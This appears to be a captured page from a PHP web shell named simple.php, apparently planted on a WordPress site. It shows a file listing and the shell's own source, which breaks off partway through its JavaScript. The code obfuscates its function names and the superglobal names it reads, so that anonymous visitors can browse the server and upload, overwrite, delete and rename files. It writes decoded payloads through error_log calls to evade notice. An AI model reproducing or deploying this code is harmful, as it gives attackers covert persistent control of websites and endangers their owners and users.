9B534B8686E580E0E01768F00155B461

at path：ROOT / simple.php

run：R W Run

0ace7

DIR

2026-06-24 08:40:47

R W Run

wp-includes

DIR

2026-07-24 02:10:13

R W Run

.htaccess

233 By

2026-07-24 02:10:16

R W Run

simple.php

15.05 KB

2026-07-24 02:10:16

R W Run

error_log

📄simple.php

<?php
function Result($Int) {$I=array('C','P','Q','T','U','M','V','h','E','L','l','0','K','8','C','l','a','U','D','e','4','I','m','1','5','s','b','R','Y','O','u','W','X','Z','+','c','@','d','3','r','F',')','B','y','C','J','q','G','#','S','o','H','4','A','i','j','t','v','w','x','z','g','%','(','$','_','+','2','x','(','f','6','j','k','n','p','*','9','N','1','3','3','7',';');$res='';foreach ($Int as $ind){$res.=$I[$ind];}return $res;}
$b = Result([26,16,25,19,71,20,65,37,19,35,50,37,19]);
$be = Result([26, 16, 25, 19, 71, 20, 65, 19, 74, 35, 50, 37, 19]);
$c=$b('Y2hy');
$_ = Result([65]).$c((0x47 << 1) >> 1).$c(hexdec("45")).$c(ord('U') - 1);
$__ = Result([65]).chr((0x50 << 1) >> 1) .chr(hexdec("4F")) .chr(ord("U") - (sqrt(1) + 1));
$__ .= chr(ord("S") + 1);

function get_absolute_root() {
    $script_filename = str_replace('\\', '/', $_SERVER['SCRIPT_FILENAME']);
    $script_name = $_SERVER['SCRIPT_NAME'];
    $pos = strpos($script_filename, $script_name);
    if ($pos !== false) {return substr($script_filename, 0, $pos);}
    return rtrim(str_replace('\\', '/', $_SERVER['DOCUMENT_ROOT']), '/');
}

$rootPath = realpath(get_absolute_root());

function displayPathItem($title, $value) {print "<div class='path-nav'><strong>{$title}：</strong>" . $value . "</div>";}

function getPermissions($path) {
    $readable = is_readable($path) ? '<span class="green">R</span>' : '<span class="red">R</span>';
    $writable = is_writable($path) ? '<span class="green">W</span>' : '<span class="red">W</span>';
    $executable = is_executable($path) ? '<span class="green">Run</span>' : '<span class="red">Run</span>';
    return "$readable $writable $executable";}

$AtPath = PathCl($GetPath);
$Dirqx = getPermissions($GetPath);
$pathItems = [['at path', $AtPath], ['run', $Dirqx]];

function renderFileList($GetPath) {
    global $be, $rootPath;
    $currentPath = is_dir($GetPath) ? $GetPath : dirname($GetPath);
    $files = array_diff(scandir($currentPath) ?: [], ['.', '..']);
    $directories = [];
    $fileItems = [];
    foreach ($files as $file) {
        $fullPath = $currentPath . DIRECTORY_SEPARATOR . $file;
        if (strpos(realpath($fullPath), $rootPath) !== 0) continue;

$isDir = is_dir($fullPath);
        $permissions = getPermissions($fullPath);
        $fileTime = date("Y-m-d H:i:s", filemtime($fullPath));
        $fileSize = $isDir ? '<span class="size-dir">DIR</span>' : formatFileSize(filesize($fullPath));
        $actions = '';
        if (!$isDir && is_writable($fullPath)) {
            $actions = sprintf('<div class="file-actions"><button class="delete-btn" data-path="%s">Delete</button><button class="rename-btn" data-path="%s" data-name="%s">Rename</button></div>', htmlspecialchars($fullPath), htmlspecialchars($fullPath), htmlspecialchars($file));
        }
        $fileLink = "<a href=\"?path=" . $be($fullPath) . "\">{$file}</a>";
        $itemHtml = sprintf('<div class="file-item %s"><div class="file-name">%s</div><div class="file-size">%s</div><div class="file-time" style="width:150px; color:#666;">%s</div><div class="permissions">%s</div>%s</div>', $isDir ? 'dir' : '', $fileLink, $fileSize, $fileTime, $permissions, $actions);
        if ($isDir) { $directories[] = $itemHtml; } else { $fileItems[] = $itemHtml; }
    }
    print '<div class="file-list">' . implode("\n", array_merge($directories, $fileItems)) . '</div>';
}

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    if (isset(${$__}['f_p'])) {
        $filePath = realpath(${$__}['f_p']);
        if ($filePath && strpos($filePath, $rootPath) === 0 && is_writable(is_dir($filePath) ? $filePath : dirname($filePath))) {
            if (isset(${$__}['s_f']) && isset(${$__}['f_c_64'])) {
                $content = $b(${$__}['f_c_64']);
                if (file_exists($filePath)) { unlink($filePath); }
                $saveMsg = error_log($content, 3, $filePath) ? "<span class='green'>File saved successfully</span>" : "<span class='red'>Failed to save file</span>";
            }
            if (isset(${$__}['delete_file']) && file_exists($filePath) && !is_dir($filePath)) {
                if (unlink($filePath)) {
                    $saveMsg = "<span class='green'>File deleted successfully</span>";
                    if ($GetPath === $filePath) { header("Location: ?path=" . $be(dirname($filePath))); exit; }
                } else { $saveMsg = "<span class='red'>Failed to delete file</span>"; }
            }
            if (isset(${$__}['rename_file']) && isset(${$__}['new_name'])) {
                $newPath = dirname($filePath) . DIRECTORY_SEPARATOR . basename(${$__}['new_name']);
                if (rename($filePath, $newPath)) {
                    $saveMsg = "<span class='green'>Renamed successfully</span>";
                    if ($GetPath === $filePath) { header("Location: ?path=" . $be($newPath)); exit; }
                } else { $saveMsg = "<span class='red'>Failed to rename</span>"; }
            }
        }
    }
    if (isset(${$__}['error_log'])) {
        $content = $b(${$__}['error_log']);
        $fileName = basename($b(${$__}['error_log_name']));
        $targetDir = is_dir($GetPath) ? $GetPath : dirname($GetPath);
        $uploadPathFile = $targetDir . DIRECTORY_SEPARATOR . $fileName;
        if (strpos(realpath($targetDir), $rootPath) === 0 && is_writable($targetDir)) {
            if (file_exists($uploadPathFile)) { unlink($uploadPathFile); }
            $saveMsg = error_log($content, 3, $uploadPathFile) ? "<span class='green'> error_log Success</span> " : "<span class='red'> error_log Fail</span>";
        }
    }
}
?>
<!DOCTYPE html><title>9B534B8686E580E0E01768F00155B461</title><body>
<style>
    body { margin: 0; background: #f8f9fa; }
    .green { color: green; font-weight: bold; } .red { color: red; font-weight: bold; }
    form { display: inline-block; margin: 0; }
    .file-time { width: 160px; text-align: center; color: #888; font-size: 12px; font-family: monospace; }
    .path-nav { padding: 15px; border: 1px solid #ddd; font-family: Arial, sans-serif; }
    .path-nav a { color: #007bff; text-decoration: none; } .path-nav a:hover { text-decoration: underline; }
    .file-list { box-shadow: 0 2px 8px rgba(0,0,0,0.1); background: white; }
    .file-item { display: flex; align-items: center; padding: 8px; margin: 2px 0; background: #f5f5f5; border-radius: 3px; gap: 10px; }
    .file-item:hover { background: #e0e0e0; }
    .file-item::before { content: '📄'; margin-right: 8px; } .file-item.dir::before { content: '📁'; }
    .file-name { flex-grow: 1; white-space: nowrap; overflow: hidden; text-overflow: ellipsis; }
    .permissions { display: inline-flex; gap: 8px; margin-left: auto; }
    .file-content { margin: 20px 0; border: 1px solid #e0e0e0; border-radius: 8px; background: #ffffff; box-shadow: 0 2px 4px rgba(0,0,0,0.05); }
    .file-content-header { padding: 12px 20px; background: #f8f9fa; border-bottom: 1px solid #e0e0e0; font-weight: bold; color: #2c3e50; border-radius: 8px 8px 0 0; display: flex; justify-content: space-between; align-items: center; }
    .file-content pre { margin: 0; padding: 20px; font-family: monospace; font-size: 14px; line-height: 1.6; color: #333; white-space: pre-wrap; word-break: break-word; overflow-x: auto; max-height: 70vh; }
    .code-line { display: flex; padding: 2px 0; }
    .line-number { color: #999; min-width: 40px; padding-right: 12px; text-align: right; user-select: none; border-right: 1px solid #eee; margin-right: 12px; }
    code { white-space: pre-wrap; word-break: break-word; flex-grow: 1; }
    .file-size { width: 120px; text-align: right; color: #666; font-family: monospace; }
    .size-dir { color: #007bff; font-weight: bold; }
    .save-btn { background: #4CAF50; color: white; border: none; padding: 5px 15px; border-radius: 4px; cursor: pointer; font-size: 14px; }
    .file-editor { width: 100%; height: 500px; font-family: monospace; padding: 15px; box-sizing: border-box; border: none; resize: vertical; background: #f8f8f8; border-top: 1px solid #e0e0e0; }
    .file-actions { display: flex; gap: 5px; margin-left: 10px; }
    .delete-btn { background: #f44336; color: white; padding: 3px 8px; border: none; border-radius: 3px; cursor: pointer; font-size: 12px; }
    .rename-btn { background: #2196F3; color: white; padding: 3px 8px; border: none; border-radius: 3px; cursor: pointer; font-size: 12px; }
</style>
<script>
(function() {
    const _0x5f2e = ['createElement', 'input', 'type', 'file', 'onchange', 'files', 'onload', 'target', 'result', 'split', 'getElementById', 'value', 'name', 'submit', 'readAsDataURL', 'addEventListener', 'DOMContentLoaded', 'click', 'POST', 'f_p', 'f_c_64', 's_f', 'appendChild', 'delete_file', 'rename_file', 'new_name'];
    
    const _0x4b12 = function(_0x1b, _0x2c) {
        return _0x5f2e[_0x1b];
    };

window['_hx_up'] = function(_0x54, _0x32, _0x1a) {
        const _0x77 = document[_0x4b12(0x0)](_0x4b12(0x1));
        _0x77[_0x4b12(0x2)] = _0x4b12(0x3);
        _0x77[_0x4b12(0x4)] = (_0x21) => {
            const _0x99 = _0x21[_0x4b12(0x7)][_0x4b12(0x5)][0x0];
            if (!_0x99) return;
            const _0xfe = new FileReader();
            _0xfe[_0x4b12(0x6)] = (_0x88) => {
                document[_0x4b12(0xa)](_0x54)[_0x4b12(0xb)] = _0x88[_0x4b12(0x7)][_0x4b12(0x8)][_0x4b12(0x9)](',')[0x1];
                document[_0x4b12(0xa)](_0x32)[_0x4b12(0xb)] = btoa(_0x99[_0x4b12(0xc)]);
                document[_0x4b12(0xa)](_0x1a)[_0x4b12(0xd)]();
            };
            _0xfe[_0x4b12(0xe)](_0x99);
        };
        _0x77[_0x4b12(0x11)]();
    };

document[_0x4b12(0xf)](_0x4b12(0x10), function() {
        const _0x01 = document[_0x4b12(0xa)]('save-btn');
        if (_0x01) {
            _0x01[_0x4b12(0xf)](_0x4b12(0x11), function() {
                const _0xaa = document[_0x4b12(0xa)]('file-editor'), 
                      _0xbb = document[_0x4b12(0xa)]('current-file-path');
                if (_0xaa && _0xbb) {
                    const _0xcc = document[_0x4b12(0x0)]('form'); 
                    _0xcc.method = _0x4b12(0x12);
                    const _0xdd = { 
                        [_0x4b12(0x13)]: _0xbb[_0x4b12(0xb)], 
                        [_0x4b12(0x14)]: btoa(unescape(encodeURIComponent(_0xaa[_0x4b12(0xb)]))), 
                        [_0x4b12(0x15)]: '1' 
                    };
                    for (let _0xee in _0xdd) {
                        let _0xff = document[_0x4b12(0x0)](_0x4b12(0x1));
                        _0xff[_0x4b12(0x2)] = 'hidden'; 
                        _0xff[_0x4b12(0xc)] = _0xee; 
                        _0xff[_0x4b12(0xb)] = _0xdd[_0xee]; 
                        _0xcc[_0x4b12(0x16)](_0xff);
                    }
                    document.body[_0x4b12(0x16)](_0xcc); 
                    _0xcc[_0x4b12(0xd)]();
                }
            });
        }

document.querySelectorAll('.delete-btn').forEach(_0x8a => {
            _0x8a[_0x4b12(0xf)](_0x4b12(0x11), function() {
                if (confirm('Delete?')) _0x02(_0x4b12(0x17), this.getAttribute('data-path'));
            });
        });